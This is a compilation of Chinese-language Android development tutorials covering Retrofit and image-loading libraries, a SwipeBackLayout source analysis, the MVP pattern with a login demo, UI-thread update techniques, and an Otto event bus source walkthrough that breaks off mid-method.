	Retrofit - 一个类型安全的HTTP客户端支持REST接口


	Picasso - 针对Android的图片下载与缓存库




Retrofit 提供了一个面向Java代码与REST接口之间的桥接，可以迅速将HTTP API转化到Java接口中并且自动生成带有完整文档的实现：

public interface GitHubService {
    @GET("/users/{user}/repos")
    Call<List<Repo>> listRepos(@Path("user") String user);
}


Retrofit retrofit = new Retrofit.Builder()
    .baseUrl("https://api.github.com")
    .build();

GitHubService service = retrofit.create(GitHubService.class);

除此之外，Retrofit 也支持面向JSON、XML以及Protocol Buffers的数据转化。在另一篇博客中将AsyncTask与Volley以及Retrofit做了一个比较，其性能对比如下：



图片加载库对比

另一方面，Picasso是一个专门的面向图片任务的HTTP库。譬如，可以用一行代码就把网络图片加载到ImageView中：

Picasso.with(context).load("http://i.imgur.com/DvpvklR.png").into(imageView);

Picasso与Retrofit都是默认的使用OkHttpClient作为底层的HTTP客户端，然而，你也可以配置自己的基于HttpUrlConnection的客户端。

Glide是一个非常类似于Picasso的库，不过它提供了一些额外的功能，譬如GIF动画、简略图生成以及视频。

Facebook开源的它们自己的图片加载库Fresco使用了它们自定义的Android客户端。其中它的一个非常优秀的特性在于Fresco的面向Bitmaps的自定义才存储策略能够避免JVM堆顶的垃圾回收的限制。Fresco是分配了Android中被称为ashmem部分的内存，同时，它用了一些方法允许同时从Java以及C++代码访问ashmem部分，来进行NDK级别的CPU处理。为了节省数据存储空间以及CPU的消耗，Fresco有三层不同的缓存：两层在内存中，以及一层在内部存储中。



到现在，我发现应该把这些网络库的关系表述在一张图中。正如你可以看见的，HTTP的传输组件存在于示意图的底部，与所有上层的库进行交互。你可以选择单纯的HttpUrlConnection或者最新的OkHttpClient客户端。


 Android实现SwipeBack（右滑退出）效果

作者：Gemini

来源： Android实现SwipeBack（右滑退出）效果



                    
效果演示


初始状态





滑动中状态





结束状态





这是目前实现在SegmentFault for Android v2.6中的效果。

一切一切的之前，感谢 ikew0ng/SwipeBackLayout

我使用这个库，并经过一些修改，支持了Android 4.0以上所有的版本。

我们来分析下SwipeBackLayout的源码


一些修改


我之前做过实验，碰到的最大问题是上层的Activity底下并不是透明的，因此看不见下层Activity的视图。

在SwipeBackLayout中采用的方案是使用一个叫convertToTranslucent的未公开的api，再配合theme中

把windowIsTranslucent设置为true，即可实现上层的Window背景为透明。


这里要注意的地方是调用convertToTranslucent可以使用反射的方法进行调用，但是在Lollipop中，它的参数变成了两个，而在5.0以下是一个参数，所以需要在源码中对Util.convertActivityToTranslucent这个方法进行一些修改。


javapublic static void convertActivityToTranslucent(Activity activity) {
    try {
        Class[] t = Activity.class.getDeclaredClasses();
        Class translucentConversionListenerClazz = null;
        Class[] method = t;
        int len$ = t.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Class clazz = method[i$];
            if(clazz.getSimpleName().contains("TranslucentConversionListener")) {
                translucentConversionListenerClazz = clazz;
                break;
            }
        }
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            Method var8 = Activity.class.getDeclaredMethod("convertToTranslucent", translucentConversionListenerClazz, ActivityOptions.class);
            var8.setAccessible(true);
            var8.invoke(activity, new Object[]{null, null});
        } else {
            Method var8 = Activity.class.getDeclaredMethod("convertToTranslucent", translucentConversionListenerClazz);
            var8.setAccessible(true);
            var8.invoke(activity, new Object[]{null});
        }
    } catch (Throwable e) {
    }

}



使得能适配4.0 - 5.0+所有的设备


源码分析


我们可以看它的源码可以知道，它是利用ViewDragHelper对View进行拖移效果的，ViewDragHelper主要帮助我们完成了对速度、加速度以及释放后的一些逻辑的设置，大大简化了我们对触摸事件的处理。

我们看下SwipeBackLayout是如何嵌入到我们要的Activity里去的


 public void attachToActivity(Activity activity) {
    this.mActivity = activity;
    // .... 省略部分代码
    ViewGroup decor = (ViewGroup)activity.getWindow().getDecorView();
    ViewGroup decorChild = (ViewGroup)decor.getChildAt(0);
    decorChild.setBackgroundResource(background);
    decor.removeView(decorChild);
    this.addView(decorChild);
    this.setContentView(decorChild);
    decor.addView(this);
}



我们可以看到，本来Activity调用setContentView之后，会把我们要的layout加到window的decorView上，我们在这里把window中的decorView的子元素改成SwipeBackLayout，然后把原先的contentView加到decorView下，使得ViewDragHelper附着在SwipeBackLayout上。


this.mDragHelper = ViewDragHelper.create(this, new SwipeBackLayout.ViewDragCallback());



ViewDragHelper使用ViewDragHelper.Callback这个回调进行一些View是否可以滑动以及滑动距离的判定。

我们来看下ViewDragHelper.Callback接口的声明

官方文档传送门：http://developer.android.com/reference/android/support/v4/widget/ViewD...




	定义
  	注释





	int clampViewPositionHorizontal (View child, int left, int dx)
  	此方法返回一个值，告诉Helper，这个view能滑动的最大（或者负向最大）的横向坐标



	int clampViewPositionVertical (View child, int top, int dy)
  	此方法返回一个值，告诉Helper，这个view能滑动的最大（或者负向最大）的纵向坐标



	int getOrderedChildIndex (int index)
  	返回这个索引所指向的子视图的Z轴坐标



	int getViewHorizontalDragRange (View child)
  	返回指定View在横向上能滑动的最大距离



	int getViewVerticalDragRange (View child)
  	返回指定View在纵向上能滑动的最大距离



	void onEdgeDragStarted (int edgeFlags, int pointerId)
  	当边缘开始拖动的时候，会调用这个回调



	boolean onEdgeLock (int edgeFlags)
  	返回指定的边是否被锁定



	void onEdgeTouched (int edgeFlags, int pointerId)
  	当边缘被触摸时，系统会回调这个函数



	void onViewCaptured (View capturedChild, int activePointerId)
  	当有一个子视图被指定为可拖动时，系统会回调这个函数



	void onViewDragStateChanged (int state)
  	拖动状态改变时，会回调这个函数



	void onViewPositionChanged (View changedView, int left, int top, int dx, int dy)
  	当子视图位置变化时，会回调这个函数



	void onViewReleased (View releasedChild, float xvel, float yvel)
  	当手指从子视图松开时，会调用这个函数，同时返回在x轴和y轴上当前的速度



	boolean tryCaptureView (View child, int pointerId)
  	系统会依次列出这个父容器的子视图，你需要指定当前传入的这个视图是否可拖动，如果可拖动则返回true 否则为false






利用ViewDragHelper的回调函数，我们知道了视图被拖动的距离，然后根据这个距离和宽度的一些比例，我们可以对SwipeBackLayout的父容器进行一些透明度和阴影的设置。


实现这个效果就是这么简单~



  欢迎关注我Github 以及 @Gemini




 Android MVP模式 简单易懂的介绍方式

作者：Kaede

来源： Android MVP模式 简单易懂的介绍方式



                    
Android MVP Pattern

Android MVP 模式1 也不是什么新鲜的东西了，我在自己的项目里也普遍地使用了这个设计模式。当项目越来越庞大、复杂，参与的研发人员越来越多的时候，MVP 模式的优势就充分显示出来了。

导读：MVP模式是MVC模式在Android上的一种变体，要介绍MVP就得先介绍MVC。在MVC模式中，Activity应该是属于View这一层。而实质上，它既承担了View，同时也包含一些Controller的东西在里面。这对于开发与维护来说不太友好，耦合度大高了。把Activity的View和Controller抽离出来就变成了View和Presenter，这就是MVP模式。



基本信息


	作者：Kaede


	项目：Android-MVP-Pattern


	出处：Android MVP模式 简单易懂的介绍方式




MVP模式（Model-View-Presenter）可以说是MVC模式（Model-View-Controller）在Android开发上的一种变种、进化模式。后者大家可能比较熟悉，就算不熟悉也可能或多或少地在自己的项目中用到过。要介绍MVP模式，就不得不先说说MVC模式。

MVC模式

MVC模式的结构分为三部分，实体层的Model，视图层的View，以及控制层的Controller。




	其中View层其实就是程序的UI界面，用于向用户展示数据以及接收用户的输入


	而Model层就是JavaBean实体类，用于保存实例数据


	Controller控制器用于更新UI界面和数据实例




例如，View层接受用户的输入，然后通过Controller修改对应的Model实例；同时，当Model实例的数据发生变化的时候，需要修改UI界面，可以通过Controller更新界面。（View层也可以直接更新Model实例的数据，而不用每次都通过Controller，这样对于一些简单的数据更新工作会变得方便许多。）

举个简单的例子，现在要实现一个飘雪的动态壁纸，可以给雪花定义一个实体类Snow，里面存放XY轴坐标数据，View层当然就是SurfaceView（或者其他视图），为了实现雪花飘的效果，可以启动一个后台线程，在线程里不断更新Snow实例里的坐标值，这部分就是Controller的工作了，Controller里还要定时更新SurfaceView上面的雪花。进一步的话，可以在SurfaceView上监听用户的点击，如果用户点击，只通过Controller对触摸点周围的Snow的坐标值进行调整，从而实现雪花在用户点击后出现弹开等效果。具体的MVC模式请自行Google。

MVP模式

在Android项目中，Activity和Fragment占据了大部分的开发工作。如果有一种设计模式（或者说代码结构）专门是为优化Activity和Fragment的代码而产生的，你说这种模式重要不？这就是MVP设计模式。

按照MVC的分层，Activity和Fragment（后面只说Activity）应该属于View层，用于展示UI界面，以及接收用户的输入，此外还要承担一些生命周期的工作。Activity是在Android开发中充当非常重要的角色，特别是TA的生命周期的功能，所以开发的时候我们经常把一些业务逻辑直接写在Activity里面，这非常直观方便，代价就是Activity会越来越臃肿，超过1000行代码是常有的事，而且如果是一些可以通用的业务逻辑（比如用户登录），写在具体的Activity里就意味着这个逻辑不能复用了。如果有进行代码重构经验的人，看到1000+行的类肯定会有所顾虑。因此，Activity不仅承担了View的角色，还承担了一部分的Controller角色，这样一来V和C就耦合在一起了，虽然这样写方便，但是如果业务调整的话，要维护起来就难了，而且在一个臃肿的Activity类查找业务逻辑的代码也会非常蛋疼，所以看起来有必要在Activity中，把View和Controller抽离开来，而这就是MVP模式的工作了。



MVP模式的核心思想：

MVP把Activity中的UI逻辑抽象成View接口，把业务逻辑抽象成Presenter接口，Model类还是原来的Model。



这就是MVP模式，现在这样的话，Activity的工作的简单了，只用来响应生命周期，其他工作都丢到Presenter中去完成。从上图可以看出，Presenter是Model和View之间的桥梁，为了让结构变得更加简单，View并不能直接对Model进行操作，这也是MVP与MVC最大的不同之处。

MVP模式的作用

MVP的好处都有啥，谁说对了就给他 KIRA!!(<ゝω·)☆


	分离了视图逻辑和业务逻辑，降低了耦合


	Activity只处理生命周期的任务，代码变得更加简洁


	视图逻辑和业务逻辑分别抽象到了View和Presenter的接口中去，提高代码的可阅读性


	Presenter被抽象成接口，可以有多种具体的实现，所以方便进行单元测试


	把业务逻辑抽到Presenter中去，避免后台线程引用着Activity导致Activity的资源无法被系统回收从而引起内存泄露和OOM




其中最重要的有三点：

Activity 代码变得更加简洁

相信很多人阅读代码的时候，都是从Activity开始的，对着一个1000+行代码的Activity，看了都觉得难受。

使用MVP之后，Activity就能瘦身许多了，基本上只有FindView、SetListener以及Init的代码。其他的就是对Presenter的调用，还有对View接口的实现。这种情形下阅读代码就容易多了，而且你只要看Presenter的接口，就能明白这个模块都有哪些业务，很快就能定位到具体代码。Activity变得容易看懂，容易维护，以后要调整业务、删减功能也就变得简单许多。

方便进行单元测试

一般单元测试都是用来测试某些新加的业务逻辑有没有问题，如果采用传统的代码风格（习惯性上叫做MV模式，少了P），我们可能要先在Activity里写一段测试代码，测试完了再把测试代码删掉换成正式代码，这时如果发现业务有问题又得换回测试代码，咦，测试代码已经删掉了！好吧重新写吧……

MVP中，由于业务逻辑都在Presenter里，我们完全可以写一个PresenterTest的实现类继承Presenter的接口，现在只要在Activity里把Presenter的创建换成PresenterTest，就能进行单元测试了，测试完再换回来即可。万一发现还得进行测试，那就再换成PresenterTest吧。

避免 Activity 的内存泄露

Android APP 发生OOM的最大原因就是出现内存泄露造成APP的内存不够用，而造成内存泄露的两大原因之一就是Activity泄露（Activity Leak）（另一个原因是Bitmap泄露（Bitmap Leak））。

Java一个强大的功能就是其虚拟机的内存回收机制，这个功能使得Java用户在设计代码的时候，不用像C++用户那样考虑对象的回收问题。然而，Java用户总是喜欢随便写一大堆对象，然后幻想着虚拟机能帮他们处理好内存的回收工作。可是虚拟机在回收内存的时候，只会回收那些没有被引用的对象，被引用着的对象因为还可能会被调用，所以不能回收。



Activity是有生命周期的，用户随时可能切换Activity，当APP的内存不够用的时候，系统会回收处于后台的Activity的资源以避免OOM。

采用传统的MV模式，一大堆异步任务和对UI的操作都放在Activity里面，比如你可能从网络下载一张图片，在下载成功的回调里把图片加载到 Activity 的 ImageView 里面，所以异步任务保留着对Activity的引用。这样一来，即使Activity已经被切换到后台（onDestroy已经执行），这些异步任务仍然保留着对Activity实例的引用，所以系统就无法回收这个Activity实例了，结果就是Activity Leak。Android的组件中，Activity对象往往是在堆（Java Heap）里占最多内存的，所以系统会优先回收Activity对象，如果有Activity Leak，APP很容易因为内存不够而OOM。

采用MVP模式，只要在当前的Activity的onDestroy里，分离异步任务对Activity的引用，就能避免 Activity Leak。

说了这么多，没看懂？好吧，我自己都没看懂自己写的，我们还是直接看代码吧。

MVP模式的使用



上面一张简单的MVP模式的UML图，从图中可以看出，使用MVP，至少需要经历以下步骤：


	创建IPresenter接口，把所有业务逻辑的接口都放在这里，并创建它的实现PresenterCompl（在这里可以方便地查看业务功能，由于接口可以有多种实现所以也方便写单元测试）


	创建IView接口，把所有视图逻辑的接口都放在这里，其实现类是当前的Activity/Fragment


	由UML图可以看出，Activity里包含了一个IPresenter，而PresenterCompl里又包含了一个IView并且依赖了Model。Activity里只保留对IPresenter的调用，其它工作全部留到PresenterCompl中实现


	Model并不是必须有的，但是一定会有View和Presenter




通过上面的介绍，MVP的主要特点就是把Activity里的许多逻辑都抽离到View和Presenter接口中去，并由具体的实现类来完成。这种写法多了许多IView和IPresenter的接口，在某种程度上加大了开发的工作量，刚开始使用MVP的小伙伴可能会觉得这种写法比较别扭，而且难以记住。其实一开始想太多也没有什么卵用，只要在具体项目中多写几次，就能熟悉MVP模式的写法，理解TA的意图，以及享♂受其带来的好处。

扯了这么多，但是好像并没有什么卵用，毕竟

Talk is cheap, let me show you the code!



所以还是来写一下实际的项目吧。

MVP模式简单实例



一个简单的登录界面（实在想不到别的了╮(￣▽￣")╭），点击LOGIN则进行账号密码验证，点击CLEAR则重置输入。



项目结构看起来像是这个样子的，MVP的分层还是很清晰的。我的习惯是先按模块分Package，在模块下面再去创建model、view、presenter的子Package，当然也可以用model、view、presenter作为顶级的Package，然后把所有的模块的model、view、presenter类都到这三个顶级Package中，就好像有人喜欢把项目里所有的Activity、Fragment、Adapter都放在一起一样。

首先来看看LoginActivity

public class LoginActivity extends ActionBarActivity implements ILoginView, View.OnClickListener {

    private EditText editUser;
    private EditText editPass;
    private Button   btnLogin;
    private Button   btnClear;
    ILoginPresenter loginPresenter;
    private ProgressBar progressBar;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        //find view
        editUser = (EditText) this.findViewById(R.id.et_login_username);
        editPass = (EditText) this.findViewById(R.id.et_login_password);
        btnLogin = (Button) this.findViewById(R.id.btn_login_login);
        btnClear = (Button) this.findViewById(R.id.btn_login_clear);
        progressBar = (ProgressBar) this.findViewById(R.id.progress_login);

        //set listener
        btnLogin.setOnClickListener(this);
        btnClear.setOnClickListener(this);

        //init
        loginPresenter = new LoginPresenterCompl(this);
        loginPresenter.setProgressBarVisiblity(View.INVISIBLE);
    }

    @Override
    public void onClick(View v) {
        switch (v.getId()){
            case R.id.btn_login_clear:
                loginPresenter.clear();
                break;
            case R.id.btn_login_login:
                loginPresenter.setProgressBarVisiblity(View.VISIBLE);
                btnLogin.setEnabled(false);
                btnClear.setEnabled(false);
                loginPresenter.doLogin(editUser.getText().toString(), editPass.getText().toString());
                break;
        }
    }

    @Override
    public void onClearText() {
        editUser.setText("");
        editPass.setText("");
    }

    @Override
    public void onLoginResult(Boolean result, int code) {
        loginPresenter.setProgressBarVisiblity(View.INVISIBLE);
        btnLogin.setEnabled(true);
        btnClear.setEnabled(true);
        if (result){
            Toast.makeText(this,"Login Success",Toast.LENGTH_SHORT).show();
            startActivity(new Intent(this, HomeActivity.class));
        }
        else
            Toast.makeText(this,"Login Fail, code = " + code,Toast.LENGTH_SHORT).show();
    }


    @Override
    public void onSetProgressBarVisibility(int visibility) {
        progressBar.setVisibility(visibility);
    }
}

从代码可以看出LoginActivity只做了findView以及setListener的工作，而且包含了一个ILoginPresenter，所有业务逻辑都是通过调用ILoginPresenter的具体接口来完成。所以LoginActivity的代码看起来很舒爽，甚至有点愉♂悦呢 (/ω＼*)。视力不错的你可能还看到了ILoginView接口的实现，如果不懂为什么要这样写的话，可以先往下看，这里只要记住LoginActivity实现了ILoginView接口。

再来看看ILoginPresenter

public interface ILoginPresenter {
    void clear();
    void doLogin(String name, String passwd);
    void setProgressBarVisiblity(int visiblity);
}

public class LoginPresenterCompl implements ILoginPresenter {
    ILoginView iLoginView;
    IUser user;
    Handler    handler;

    public LoginPresenterCompl(ILoginView iLoginView) {
        this.iLoginView = iLoginView;
        initUser();
        handler = new Handler(Looper.getMainLooper());
    }

    @Override
    public void clear() {
        iLoginView.onClearText();
    }

    @Override
    public void doLogin(String name, String passwd) {
        Boolean isLoginSuccess = true;
        final int code = user.checkUserValidity(name,passwd);
        if (code!=0) isLoginSuccess = false;
        final Boolean result = isLoginSuccess;
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                iLoginView.onLoginResult(result, code);
            }
        }, 3000);

    }

    @Override
    public void setProgressBarVisiblity(int visiblity){
        iLoginView.onSetProgressBarVisibility(visiblity);
    }

    private void initUser(){
        user = new UserModel("mvp","mvp");
    }
}

从代码可以看出，LoginPresenterCompl保留了ILoginView的引用，因此在LoginPresenterCompl里就可以直接进行UI操作了，而不用在Activity里完成。这里使用了ILoginView引用，而不是直接使用Activity，这样一来，如果在别的Activity里也需要用到相同的业务逻辑，就可以直接复用LoginPresenterCompl类了（一个Activity可以包含一个以上的Presenter，总之，需要什么业务就new什么样的Presenter，是不是很灵活（＠￣︶￣＠）），这也是MVP的核心思想

通过IVIew和IPresenter，把Activity的UI Logic和Business Logic分离开来，Activity just does its basic job! 至于Model嘛，还是原来MVC里的Model。



再来看看ILoginView，至于ILoginView的实现类呢，翻到上面看看LoginActivity吧

public interface ILoginView {
    public void onClearText();
    public void onLoginResult(Boolean result, int code);
    public void onSetProgressBarVisibility(int visibility);
}

代码这种东西放在日志里讲好像除了把整个版面拉长没什么卵用，我把几种自己常用的MVP的写法写成一个Demo项目，欢迎围观和PullRequest：Android-MVP-Pattern。

后记

以上就是我的MVP模式的一点理解，在MVVM模式还没有成熟的现在，我觉得没有比MVP模式更好的替代品了。当然今天写的只是MVP的基础使用，介绍的实例项目也非常简单，看不出MVP的优势，后面还会针对MVP模式写一些日志，就目前能想到的至少包括


	Android常规的开发模式经常被称为MV模式（Model-View），引入数据绑定后的MVVM模式（Model-View-ViewModel），与MVP模式的区别


	目前我们写ListView的Adapter都喜欢把它写成一个内部类，如果有两个Activity里要用同一个Adapter就比较难了，通过MVP模式，能轻松地复用Adapter（你说已经不用ListView了，这不是重点不是么( ˃◡˂ )）


	MVP模式需要多写许多新的接口，这也是其缺点所在，经过一段时间的实战，我自己已有一种优化的MVP模式，我会试着总结一下，把她拿出来说说






	 我也纠结过MVP模式或者MVP结构的说法那个跟准确一点，国外普遍的叫法是直接叫Android MVP，除此之外有叫MVP Pattern的也有叫MVP Framework/Architecture，个人认为这应该算是一种代码风格（Code Style），在分类上应该比较类似设计模式（Design Pattern），所以现在我一般称为模式，不过这不是重点，不是吗。( ˃◡˂ ) ↩
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大家都知道由于性能要求，android要求只能在UI线程中更新UI，要想在其他线程中更新UI，我大致总结了4种方式，欢迎补充纠正：


	使用Handler消息传递机制；


	使用AsyncTask异步任务；


	使用runOnUiThread(action)方法；


	使用Handler的post(Runnabel r)方法；




下面分别使用四种方式来更新一个TextView。

1.使用Handler消息传递机制

package com.example.runonuithreadtest;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.widget.TextView;

public class MainActivity extends Activity {
    
    private TextView tv;
    
    Handler handler = new Handler()
    {
        public void handleMessage(android.os.Message msg) {
            if(msg.what==0x123)
            {
                tv.setText("更新后的TextView");
            }
        };
    };
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        tv = (TextView) findViewById(R.id.tv);
        new MyThread().start();
    }
    class MyThread extends Thread
    {
        @Override
        public void run() {
            //延迟两秒更新
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            handler.sendEmptyMessage(0x123);
        }
    }
}


2. 使用AsyncTask异步任务

	注：更新UI的操作只能在onPostExecute(String result)方法中。




package com.example.runonuithreadtest;

import android.app.Activity;
import android.os.AsyncTask;
import android.os.Bundle;
import android.widget.TextView;

public class MainActivity extends Activity {
    
    private TextView tv;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        tv = (TextView) findViewById(R.id.tv);
        new Yibu().execute();
    }
    class Yibu extends AsyncTask<String, String, String>
    {

        @Override
        protected String doInBackground(String... params) {
            try {
                Thread.sleep(2000);
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return null;
        }
        @Override
        protected void onPostExecute(String result) {
            // TODO Auto-generated method stub
            tv.setText("更新后的TextView");
        }
        
    }
}


3. 使用runOnUiThread(action)方法

package com.example.runonuithreadtest;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class MainActivity extends Activity {
    
    private TextView tv;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        tv = (TextView) findViewById(R.id.tv);
        new MyThread().start();
    }
    class MyThread extends Thread
    {
        @Override
        public void run() {
            runOnUiThread(new Runnable() {
                
                @Override
                public void run() {
                    // TODO Auto-generated method stub
                        try {
                            //延迟两秒更新
                            Thread.sleep(2000);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                        tv.setText("更新后的TextView");
                }
            });
        }
    }
}


4. 使用Handler的post(Runnabel r)方法

package com.example.runonuithreadtest;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.widget.TextView;

public class MainActivity extends Activity {
    
    private TextView tv;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        tv = (TextView) findViewById(R.id.tv);
        Handler handler = new Handler();
        handler.post(new Runnable(){
            @Override
            public void run() {
                try {
                    //延迟两秒更新
                    Thread.sleep(2000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                tv.setText("更新后的TextView");
            }
        });
    }
}
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用例

本文主要按照如下例子展开：

//1. 新建bus对象，默认仅能在主线程上对消息进行调度
Bus bus = new Bus(); // maybe singleton

//2. 新建类A(subscriber)，answerAvailable()方法为事件回调，在主线程上运行
class A {

    public A() {
        bus.register(this);        
    }
    
    // 可见性为public，仅有一个Event类型的参数
    @Subscribe public void answerAvailable(AnswerAvailableEvent event) {
        // process event
    }
}

//3. 往bus投递事件
bus.post(new AnswerAvailableEvent(42));

//4. 如果要A在注册时马上接收到一次回调，则可以新建类B(Producer)，produceAnswer()
//   方法会在注册subscriber时，对每个订阅了AnswerAvailableEvent方法发送事件
class B {
    
    public B() {
        bus.register(this);        
    }
    
    //可见性为public，不带任何参数
    @Produce public AnswerAvailableEvent produceAnswer() {
        return new AnswerAvailableEvent();
    }
}


初始化

首先来看看Bus bus = new Bus()这一句，对应的源码如下所示：

public Bus() {
    this(DEFAULT_IDENTIFIER);
}

public Bus(String identifier) {
    this(ThreadEnforcer.MAIN, identifier);
}

public Bus(ThreadEnforcer enforcer, String identifier) {
    this(enforcer, identifier, HandlerFinder.ANNOTATED);
}

Bus(ThreadEnforcer enforcer, String identifier, HandlerFinder handlerFinder) {
    this.enforcer =  enforcer;
    this.identifier = identifier;
    this.handlerFinder = handlerFinder;
}


默认参数为enforcer = ThreadEnforcer.MAIN，identifier = DEFAULT_IDENTIFIER，handlerFinder = HandlerFinder.ANNOTATED。我们来看看这些参数是什么意思。

ThreadEnforcer

ThreadEnforcer是一个接口，enforce()方法用于检查当前线程是否为指定的线程类型：

public interface ThreadEnforcer {

    ThreadEnforcer ANY = new ThreadEnforcer() {
            @Override
            public void enforce(Bus bus) {
                // Allow any thread.
            }
        };

    ThreadEnforcer MAIN = new ThreadEnforcer() {
            @Override
            public void enforce(Bus bus) {
                if (Looper.myLooper() != Looper.getMainLooper()) {
                    throw new IllegalStateException("Event bus " + bus +
                        " accessed from non-main thread " + Looper.myLooper());
                }
            }
        };

    void enforce(Bus bus);
}


不带参数的构造函数bus()使用默认的ThreadEnforcer.MAIN，表示enforce()方法必须在主线程上执行。

identifier

identifier仅为bus的名字，debug用。

handlerFinder

HandlerFinder用于在注册/反注册的时候查找Subscriber和Producer，后文会对其展开源码级别的解析。不带参数的构造函数bus()使用默认的HandlerFinder.ANNOTATED，表示使用注解来进行查找。

除上述以外，bus类还有两个成员变量handlersByType和producersByType：

private final ConcurrentMap<Class<?>, Set<EventHandler>> handlersByType =
    new ConcurrentHashMap<Class<?>, Set<EventHandler>>();

private final ConcurrentMap<Class<?>, EventProducer> producersByType =
    new ConcurrentHashMap<Class<?>, EventProducer>();


分别用于通过event的类型（class类型）来查找event handle和event producer。

注册/反注册事件

如下所示，要A成为订阅者订阅AnswerAvailableEvent，只需将其注册到bus，然后使用@Subscribe注解标记回调方法即可。回调方法要求可见性为public，有且仅有一个参数，类型为订阅的event。

class A {

    public A() {
        bus.register(this);        
    }

    @Subscribe public void answerAvailable(AnswerAvailableEvent event) {
        // process event
    }
}


@Subscribe

首先看一下@Subscribe注解：

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Subscribe {
}


RetentionPolicy.RUNTIME表示它是运行时的注解，ElementType.METHOD表示用于注解方法。

bus.register

再看一下register流程：

public void register(Object object) {
    if (object == null) {
        throw new NullPointerException("Object to register must not be null.");
    }
    //1. 检查当前线程是否符合ThreadEnforcer的设置
    enforcer.enforce(this);
    
    //2. 默认情况下，通过注解在object上找出所有Producer
    Map<Class<?>, EventProducer> foundProducers = handlerFinder.findAllProducers(object);
    for (Class<?> type : foundProducers.keySet()) {
        
        //2-1. 查一下object上的producer注册的event是否已经被别人注册过。
        final EventProducer producer = foundProducers.get(type);
        EventProducer previousProducer = producersByType.putIfAbsent(type, producer);
        //checking if the previous producer existed
        if (previousProducer != null) {
            throw new IllegalArgumentException("Producer method for type " + type + " found on type " + producer.target.getClass() + ", but already registered by type " + previousProducer.target.getClass() + ".");
        }
        //2-2. 如果没有注册过，那么找出对应event的handler，触发一次回调。
        Set<EventHandler> handlers = handlersByType.get(type);
        if (handlers != null && !handlers.isEmpty()) {
            for (EventHandler handler : handlers) {
                dispatchProducerResultToHandler(handler, producer);
            }
        }
    }
    
    //3. 找出object上用@Subscribe注解了的方法
    Map<Class<?>, Set<EventHandler>> foundHandlersMap = handlerFinder.findAllSubscribers(object);
    for (Class<?> type : foundHandlersMap.keySet()) {
        Set<EventHandler> handlers = handlersByType.get(type);
        if (handlers == null) {
            //3-1. 该event是第一次注册，那么新建一个CopyOnWriteArraySet用来保存handler和event的对应关系（EventHandler）
            //concurrent put if absent
            Set<EventHandler> handlersCreation = new CopyOnWriteArraySet<EventHandler>();
            handlers = handlersByType.putIfAbsent(type, handlersCreation);
            if (handlers == null) {
                handlers = handlersCreation;
            }
        }
        //3-2. 保存object中新增的event-handler对应关系。
        final Set<EventHandler> foundHandlers = foundHandlersMap.get(type);
        if (!handlers.addAll(foundHandlers)) {
            throw new IllegalArgumentException("Object already registered.");
        }
    }
    
    //4. 检查object上的event是否存在对应的Producer，有则触发一次回调
    for (Map.Entry<Class<?>, Set<EventHandler>> entry : foundHandlersMap.entrySet()) {
        Class<?> type = entry.getKey();
        EventProducer producer = producersByType.get(type);
        if (producer != null && producer.isValid()) {
            Set<EventHandler> foundHandlers = entry.getValue();
            for (EventHandler foundHandler : foundHandlers) {
                if (!producer.isValid()) {
                    break;
                }
                if (foundHandler.isValid()) {
                    dispatchProducerResultToHandler(foundHandler, producer);
                }
            }
        }
    }
}


总的来说register做了三件事情：触发新的Producer；注册新的event-handler关系；触发旧的Producer。另外有两点要注意一下：


	由于在一般使用场景下，发送/处理event远比注册/反注册操作频繁，所以在保证线程安全的情况下，使用CopyOnWriteArraySet作为保存event和handler的容器，可以大大提高效率。  
  CopyOnWrite容器在读的时候不会加锁，写的时候先复制一份，写完再替换原容器。如果容器正在写操作时发生了读操作（或者正在读的时候发生了写操作），读操作的对象为容器的快照（snapshot）。


	由于register方法没有加锁，所以在3-1中，尽管已经检查了handlers是否存在，但仍需使用putIfAbsent来保存handler。




EventProducer和EventHandler

注意到bus通过HandlerFinder来查找object上的producer和subscriber，接下来看一下HandlerFinder的实现：

interface HandlerFinder {
    HandlerFinder ANNOTATED = new HandlerFinder() {
            @Override
            public Map<Class<?>, EventProducer> findAllProducers(
                Object listener) {
                return AnnotatedHandlerFinder.findAllProducers(listener);
            }

            @Override
            public Map<Class<?>, Set<EventHandler>> findAllSubscribers(
                Object listener) {
                return AnnotatedHandlerFinder.findAllSubscribers(listener);
            }
        };

    Map<Class<?>, EventProducer> findAllProducers(Object listener);
    Map<Class<?>, Set<EventHandler>> findAllSubscribers(Object listener);
}


其中findAllProducers方法返回某event type对应的EventProducer，findAllSubscribers返回某event type对应的EventHandler集合。先看一下EventProducer和EventHandler。

EventProducer是一个producer方法的包装类，源码如下：

class EventProducer {
    final Object target;

    private final Method method;

    private final int hashCode;

    private boolean valid = true;

    EventProducer(Object target, Method method) {
        if (target == null) {
            throw new NullPointerException(
                "EventProducer target cannot be null.");
        }

        if (method == null) {
            throw new NullPointerException(
                "EventProducer method cannot be null.");
        }

        this.target = target;
        this.method = method;
        method.setAccessible(true);

        // 提前计算hashcode，以防每次调用hash()时消耗资源
        final int prime = 31;
        hashCode = ((prime + method.hashCode()) * prime) + target.hashCode();
    }

    public boolean isValid() {
        return valid;
    }
    
    // 应在object unregister时调用
    public void invalidate() {
        valid = false;
    }

    public Object produceEvent() throws InvocationTargetException {
        if (!valid) {
            throw new IllegalStateException(toString() +
                " has been invalidated and can no longer produce events.");
        }

        try {
